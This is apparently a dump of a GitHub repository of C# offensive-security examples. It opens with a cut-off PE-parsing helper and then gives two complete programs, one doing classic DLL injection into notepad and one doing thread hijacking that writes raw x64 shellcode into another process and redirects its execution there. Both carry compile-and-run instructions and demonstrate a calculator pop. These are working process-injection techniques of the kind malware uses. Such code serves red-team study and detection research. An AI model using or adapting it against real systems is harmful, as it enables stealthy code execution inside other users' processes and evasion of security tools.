NumberOfSections; 355 | public UInt32 TimeDateStamp; 356 | public UInt32 PointerToSymbolTable; 357 | public UInt32 NumberOfSymbols; 358 | public UInt16 SizeOfOptionalHeader; 359 | public UInt16 Characteristics; 360 | } 361 | 362 | [StructLayout(LayoutKind.Explicit)] 363 | public struct IMAGE_SECTION_HEADER 364 | { 365 | [FieldOffset(0)] 366 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] 367 | public char[] Name; 368 | [FieldOffset(8)] 369 | public UInt32 VirtualSize; 370 | [FieldOffset(12)] 371 | public UInt32 VirtualAddress; 372 | [FieldOffset(16)] 373 | public UInt32 SizeOfRawData; 374 | [FieldOffset(20)] 375 | public UInt32 PointerToRawData; 376 | [FieldOffset(24)] 377 | public UInt32 PointerToRelocations; 378 | [FieldOffset(28)] 379 | public UInt32 PointerToLinenumbers; 380 | [FieldOffset(32)] 381 | public UInt16 NumberOfRelocations; 382 | [FieldOffset(34)] 383 | public UInt16 NumberOfLinenumbers; 384 | [FieldOffset(36)] 385 | public DataSectionFlags Characteristics; 386 | 387 | public string Section 388 | { 389 | get { return new string(Name); } 390 | } 391 | } 392 | 393 | [StructLayout(LayoutKind.Sequential)] 394 | public struct IMAGE_IMPORT_DESCRIPTOR 395 | { 396 | public uint OriginalFirstThunk; 397 | public uint TimeDateStamp; 398 | public uint ForwarderChain; 399 | public uint Name; 400 | public uint FirstThunk; 401 | } 402 | 403 | [StructLayout(LayoutKind.Sequential)] 404 | public struct IMAGE_BASE_RELOCATION 405 | { 406 | public uint VirtualAdress; 407 | public uint SizeOfBlock; 408 | } 409 | 410 | [Flags] 411 | public enum DataSectionFlags : uint 412 | { 413 | 414 | Stub = 0x00000000, 415 | 416 | } 417 | 418 | public static T FromBinaryReader(BinaryReader reader) 419 | { 420 | // Read in a byte array 421 | byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T))); 422 | 423 | // Pin the managed memory while, copy it out the data, then unpin it 424 | GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned); 425 | T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T)); 426 | handle.Free(); 427 | 428 | return theStructure; 429 | } 430 | 431 | 432 | public static bool Is32BitHeader(IMAGE_FILE_HEADER fileHeader) 433 | { 434 | UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100; 435 | return (IMAGE_FILE_32BIT_MACHINE & fileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE; 436 | } 437 | 438 | 439 | // Process privileges 440 | public const int PROCESS_CREATE_THREAD = 0x0002; 441 | public const int PROCESS_QUERY_INFORMATION = 0x0400; 442 | public const int PROCESS_VM_OPERATION = 0x0008; 443 | public const int PROCESS_VM_WRITE = 0x0020; 444 | public const int PROCESS_VM_READ = 0x0010; 445 | public const int PROCESS_ALL_ACCESS = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ; 446 | 447 | // Memory permissions 448 | public const uint MEM_COMMIT = 0x00001000; 449 | public const uint MEM_RESERVE = 0x00002000; 450 | public const uint PAGE_READWRITE = 0x04; 451 | public const uint PAGE_EXECUTE_READWRITE = 0x40; 452 | 453 | 454 | [DllImport("kernel32.dll")] 455 | public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); 456 | 457 | [DllImport("kernel32.dll")] 458 | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 459 | 460 | [DllImport("kernel32.dll")] 461 | public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect); 462 | 463 | [DllImport("kernel32.dll")] 464 | public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten); 465 | 466 | [DllImport("kernel32.dll")] 467 | public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead); 468 | 469 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 470 | public static extern IntPtr LoadLibrary(string lpFileName); 471 | 472 | [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] 473 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 474 | 475 | } 476 | } 477 | -------------------------------------------------------------------------------- /process-dll-injection.cs: -------------------------------------------------------------------------------- 1 | // This code was originally published on codingvision. 2 | // http://www.codingvision.net/miscellaneous/c-inject-a-dll-into-a-process-w-createremotethread 3 | // 4 | // Minor tweaks and commenting by @pwndizzle 5 | // 6 | // To run: 7 | // 1. Download or compile a target dll (see calc reference in readme) and place in c:\ 8 | // 2. Compile code - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe process-dll-injection.cs 9 | // 3. Start notepad 10 | // 4. Execute process-dll-injection.exe to see calc pop 11 | 12 | 13 | using System; 14 | using System.Diagnostics; 15 | using System.Runtime.InteropServices; 16 | using System.Text; 17 | 18 | 19 | public class ProcessInject 20 | { 21 | [DllImport("kernel32.dll")] 22 | public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); 23 | 24 | [DllImport("kernel32.dll", CharSet = CharSet.Auto)] 25 | public static extern IntPtr GetModuleHandle(string lpModuleName); 26 | 27 | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] 28 | static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 29 | 30 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 31 | static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,uint dwSize, uint flAllocationType, uint flProtect); 32 | 33 | [DllImport("kernel32.dll", SetLastError = true)] 34 | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); 35 | 36 | [DllImport("kernel32.dll")] 37 | static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead); 38 | 39 | [DllImport("kernel32.dll")] 40 | static extern IntPtr CreateRemoteThread(IntPtr hProcess, 41 | IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 42 | 43 | // privileges 44 | const int PROCESS_CREATE_THREAD = 0x0002; 45 | const int PROCESS_QUERY_INFORMATION = 0x0400; 46 | const int PROCESS_VM_OPERATION = 0x0008; 47 | const int PROCESS_VM_WRITE = 0x0020; 48 | const int PROCESS_VM_READ = 0x0010; 49 | 50 | // used for memory allocation 51 | const uint MEM_COMMIT = 0x00001000; 52 | const uint MEM_RESERVE = 0x00002000; 53 | const uint PAGE_READWRITE = 4; 54 | 55 | public static int Main() 56 | { 57 | 58 | // Get process id 59 | Console.WriteLine("Get process by name..."); 60 | Process targetProcess = Process.GetProcessesByName("notepad")[0]; 61 | Console.WriteLine("Found procId: " + targetProcess.Id); 62 | 63 | // Get handle of the process - with required privileges 64 | Console.WriteLine("Getting handle to process..."); 65 | IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); 66 | Console.WriteLine("Got procHandle: " + procHandle); 67 | 68 | // Get address of LoadLibraryA and store in a pointer 69 | Console.WriteLine("Getting loadlibrary pointer..."); 70 | IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); 71 | Console.WriteLine("Loadlibrary pointer: " + loadLibraryAddr); 72 | 73 | // Path to dll that will be injected 74 | string dllName = "C:\\calc-x64.dll"; 75 | 76 | // Allocate memory for dll path and store pointer 77 | Console.WriteLine("Allocating memory..."); 78 | IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 79 | Console.WriteLine("allocMemAddress: " + allocMemAddress); 80 | 81 | // Write path of dll to memory 82 | Console.WriteLine("Writing content to memory..."); 83 | UIntPtr bytesWritten; 84 | bool resp1 = WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); 85 | 86 | // Read contents of memory 87 | int bytesRead = 0; 88 | byte[] buffer = new byte[24]; 89 | Console.WriteLine("Reading content from memory..."); 90 | ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead); 91 | Console.WriteLine("Data in memory: " + System.Text.Encoding.UTF8.GetString(buffer)); 92 | 93 | // Create a thread that will call LoadLibraryA with allocMemAddress as argument 94 | Console.WriteLine("CreateRemoteThread"); 95 | CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero); 96 | 97 | return 0; 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /thread-hijack.cs: -------------------------------------------------------------------------------- 1 | // A thread hijacking/injection example written in C# by @pwndizzle 2 | // 3 | // To run: 4 | // 1. Compile code - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe threadhijack.cs 5 | // 2. Start target process 6 | // 3. Execute binary and specify target e.g. threadhijack.exe notepad 7 | // 4. Either wait for thread to execute or interact with process to see calc! 8 | // 9 | // References: 10 | // http://www.pinvoke.net/default.aspx/kernel32.GetThreadContext 11 | // http://www.rohitab.com/discuss/topic/40579-dll-injection-via-thread-hijacking/ 12 | // http://www.codingvision.net/miscellaneous/c-inject-a-dll-into-a-process-w-createremotethread 13 | 14 | using System; 15 | using System.Diagnostics; 16 | using System.Runtime.InteropServices; 17 | using System.Text; 18 | using System.ComponentModel; 19 | 20 | public class ThreadHijack 21 | { 22 | // Import API Functions 23 | [DllImport("kernel32.dll")] 24 | public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); 25 | 26 | [DllImport("kernel32.dll")] 27 | static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId); 28 | 29 | [DllImport("kernel32.dll")] 30 | static extern uint SuspendThread(IntPtr hThread); 31 | 32 | [DllImport("kernel32.dll", SetLastError = true)] 33 | static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext); 34 | 35 | [DllImport("kernel32.dll", SetLastError = true)] 36 | static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext); 37 | 38 | [DllImport("kernel32.dll")] 39 | static extern int ResumeThread(IntPtr hThread); 40 | 41 | [DllImport("kernel32", CharSet = CharSet.Auto,SetLastError = true)] 42 | static extern bool CloseHandle(IntPtr handle); 43 | 44 | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] 45 | static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 46 | 47 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 48 | static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,uint dwSize, uint flAllocationType, uint flProtect); 49 | 50 | [DllImport("kernel32.dll", SetLastError = true)] 51 | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); 52 | 53 | [DllImport("kernel32.dll")] 54 | static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead); 55 | 56 | 57 | // Process privileges 58 | const int PROCESS_CREATE_THREAD = 0x0002; 59 | const int PROCESS_QUERY_INFORMATION = 0x0400; 60 | const int PROCESS_VM_OPERATION = 0x0008; 61 | const int PROCESS_VM_WRITE = 0x0020; 62 | const int PROCESS_VM_READ = 0x0010; 63 | 64 | // Memory permissions 65 | const uint MEM_COMMIT = 0x00001000; 66 | const uint MEM_RESERVE = 0x00002000; 67 | const uint PAGE_READWRITE = 4; 68 | const uint PAGE_EXECUTE_READWRITE = 0x40; 69 | 70 | [Flags] 71 | public enum ThreadAccess : int 72 | { 73 | TERMINATE = (0x0001), 74 | SUSPEND_RESUME = (0x0002), 75 | GET_CONTEXT = (0x0008), 76 | SET_CONTEXT = (0x0010), 77 | SET_INFORMATION = (0x0020), 78 | QUERY_INFORMATION = (0x0040), 79 | SET_THREAD_TOKEN = (0x0080), 80 | IMPERSONATE = (0x0100), 81 | DIRECT_IMPERSONATION = (0x0200), 82 | THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT, 83 | THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION 84 | } 85 | 86 | public enum CONTEXT_FLAGS : uint 87 | { 88 | CONTEXT_i386 = 0x10000, 89 | CONTEXT_i486 = 0x10000, // same as i386 90 | CONTEXT_CONTROL = CONTEXT_i386 | 0x01, // SS:SP, CS:IP, FLAGS, BP 91 | CONTEXT_INTEGER = CONTEXT_i386 | 0x02, // AX, BX, CX, DX, SI, DI 92 | CONTEXT_SEGMENTS = CONTEXT_i386 | 0x04, // DS, ES, FS, GS 93 | CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08, // 387 state 94 | CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10, // DB 0-3,6,7 95 | CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20, // cpu specific extensions 96 | CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS, 97 | CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS 98 | } 99 | 100 | // x86 float save 101 | [StructLayout(LayoutKind.Sequential)] 102 | public struct FLOATING_SAVE_AREA 103 | { 104 | public uint ControlWord; 105 | public uint StatusWord; 106 | public uint TagWord; 107 | public uint ErrorOffset; 108 | public uint ErrorSelector; 109 | public uint DataOffset; 110 | public uint DataSelector; 111 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)] 112 | public byte[] RegisterArea; 113 | public uint Cr0NpxState; 114 | } 115 | 116 | // x86 context structure (not used in this example) 117 | [StructLayout(LayoutKind.Sequential)] 118 | public struct CONTEXT 119 | { 120 | public uint ContextFlags; //set this to an appropriate value 121 | // Retrieved by CONTEXT_DEBUG_REGISTERS 122 | public uint Dr0; 123 | public uint Dr1; 124 | public uint Dr2; 125 | public uint Dr3; 126 | public uint Dr6; 127 | public uint Dr7; 128 | // Retrieved by CONTEXT_FLOATING_POINT 129 | public FLOATING_SAVE_AREA FloatSave; 130 | // Retrieved by CONTEXT_SEGMENTS 131 | public uint SegGs; 132 | public uint SegFs; 133 | public uint SegEs; 134 | public uint SegDs; 135 | // Retrieved by CONTEXT_INTEGER 136 | public uint Edi; 137 | public uint Esi; 138 | public uint Ebx; 139 | public uint Edx; 140 | public uint Ecx; 141 | public uint Eax; 142 | // Retrieved by CONTEXT_CONTROL 143 | public uint Ebp; 144 | public uint Eip; 145 | public uint SegCs; 146 | public uint EFlags; 147 | public uint Esp; 148 | public uint SegSs; 149 | // Retrieved by CONTEXT_EXTENDED_REGISTERS 150 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] 151 | public byte[] ExtendedRegisters; 152 | } 153 | 154 | // x64 m128a 155 | [StructLayout(LayoutKind.Sequential)] 156 | public struct M128A 157 | { 158 | public ulong High; 159 | public long Low; 160 | 161 | public override string ToString() 162 | { 163 | return string.Format("High:{0}, Low:{1}", this.High, this.Low); 164 | } 165 | } 166 | 167 | // x64 save format 168 | [StructLayout(LayoutKind.Sequential, Pack = 16)] 169 | public struct XSAVE_FORMAT64 170 | { 171 | public ushort ControlWord; 172 | public ushort StatusWord; 173 | public byte TagWord; 174 | public byte Reserved1; 175 | public ushort ErrorOpcode; 176 | public uint ErrorOffset; 177 | public ushort ErrorSelector; 178 | public ushort Reserved2; 179 | public uint DataOffset; 180 | public ushort DataSelector; 181 | public ushort Reserved3; 182 | public uint MxCsr; 183 | public uint MxCsr_Mask; 184 | 185 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] 186 | public M128A[] FloatRegisters; 187 | 188 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] 189 | public M128A[] XmmRegisters; 190 | 191 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)] 192 | public byte[] Reserved4; 193 | } 194 | 195 | // x64 context structure 196 | [StructLayout(LayoutKind.Sequential, Pack = 16)] 197 | public struct CONTEXT64 198 | { 199 | public ulong P1Home; 200 | public ulong P2Home; 201 | public ulong P3Home; 202 | public ulong P4Home; 203 | public ulong P5Home; 204 | public ulong P6Home; 205 | 206 | public CONTEXT_FLAGS ContextFlags; 207 | public uint MxCsr; 208 | 209 | public ushort SegCs; 210 | public ushort SegDs; 211 | public ushort SegEs; 212 | public ushort SegFs; 213 | public ushort SegGs; 214 | public ushort SegSs; 215 | public uint EFlags; 216 | 217 | public ulong Dr0; 218 | public ulong Dr1; 219 | public ulong Dr2; 220 | public ulong Dr3; 221 | public ulong Dr6; 222 | public ulong Dr7; 223 | 224 | public ulong Rax; 225 | public ulong Rcx; 226 | public ulong Rdx; 227 | public ulong Rbx; 228 | public ulong Rsp; 229 | public ulong Rbp; 230 | public ulong Rsi; 231 | public ulong Rdi; 232 | public ulong R8; 233 | public ulong R9; 234 | public ulong R10; 235 | public ulong R11; 236 | public ulong R12; 237 | public ulong R13; 238 | public ulong R14; 239 | public ulong R15; 240 | public ulong Rip; 241 | 242 | public XSAVE_FORMAT64 DUMMYUNIONNAME; 243 | 244 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)] 245 | public M128A[] VectorRegister; 246 | public ulong VectorControl; 247 | 248 | public ulong DebugControl; 249 | public ulong LastBranchToRip; 250 | public ulong LastBranchFromRip; 251 | public ulong LastExceptionToRip; 252 | public ulong LastExceptionFromRip; 253 | } 254 | 255 | public static int Main(string[] args) 256 | { 257 | // Get target process by name 258 | if(args.Length == 0){Console.WriteLine("Please enter a process name");System.Environment.Exit(1);} 259 | Process targetProcess = Process.GetProcessesByName(args[0])[0]; 260 | Console.WriteLine("ProcessId: " + targetProcess.Id); 261 | 262 | // Open and Suspend first thread 263 | ProcessThread pT = targetProcess.Threads[0]; 264 | Console.WriteLine("ThreadId: " + targetProcess.Threads[0].Id); 265 | IntPtr pOpenThread = OpenThread(ThreadAccess.THREAD_HIJACK, false, (uint)pT.Id); 266 | SuspendThread(pOpenThread); 267 | 268 | // Get thread context 269 | CONTEXT64 tContext = new CONTEXT64(); 270 | tContext.ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL; 271 | if (GetThreadContext(pOpenThread, ref tContext)) 272 | { 273 | Console.WriteLine("CurrentEip : {0}", tContext.Rip); 274 | } 275 | 276 | // WinExec shellcode from: https://github.com/peterferrie/win-exec-calc-shellcode 277 | // Compiled with: 278 | // nasm w64-exec-calc-shellcode.asm -DSTACK_ALIGN=TRUE -DFUNC=TRUE -DCLEAN=TRUE -o w64-exec-calc-shellcode.bin 279 | byte[] payload = new byte[112] { 280 | 0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3 281 | }; 282 | 283 | // Once shellcode has executed return to thread original EIP address (mov to rax then jmp to address) 284 | byte[] mov_rax = new byte[2] { 285 | 0x48, 0xb8 286 | }; 287 | byte[] jmp_address = BitConverter.GetBytes(tContext.Rip); 288 | byte[] jmp_rax = new byte[2] { 289 | 0xff, 0xe0 290 | }; 291 | 292 | // Build shellcode 293 | byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length]; 294 | payload.CopyTo(shellcode, 0); 295 | mov_rax.CopyTo(shellcode, payload.Length); 296 | jmp_address.CopyTo(shellcode, payload.Length+mov_rax.Length); 297 | jmp_rax.CopyTo(shellcode, payload.Length+mov_rax.Length+jmp_address.Length); 298 | 299 | // OpenProcess to allocate memory 300 | IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); 301 | 302 | // Allocate memory for shellcode within process 303 | IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 304 | 305 | // Write shellcode within process 306 | UIntPtr bytesWritten; 307 | bool resp1 = WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); 308 | 309 | // Read memory to view shellcode 310 | int bytesRead = 0; 311 | byte[] buffer = new byte[shellcode.Length]; 312 | ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead); 313 | Console.WriteLine("Data in memory: " + System.Text.Encoding.UTF8.GetString(buffer)); 314 | 315 | // Set context EIP to location of shellcode 316 | tContext.Rip=(ulong)allocMemAddress.ToInt64(); 317 | 318 | // Apply new context to suspended thread 319 | if(!SetThreadContext(pOpenThread, ref tContext)) 320 | { 321 | Console.WriteLine("Error setting context"); 322 | } 323 | if (GetThreadContext(pOpenThread, ref tContext)) 324 | { 325 | Console.WriteLine("ShellcodeAddress: " + allocMemAddress); 326 | Console.WriteLine("NewEip : {0}", tContext.Rip); 327 | } 328 | // Resume the thread, redirecting execution to shellcode, then back to original process 329 | Console.WriteLine("Redirecting execution!"); 330 | ResumeThread(pOpenThread); 331 | 332 | return 0; 333 | } 334 | } 335 | --------------------------------------------------------------------------------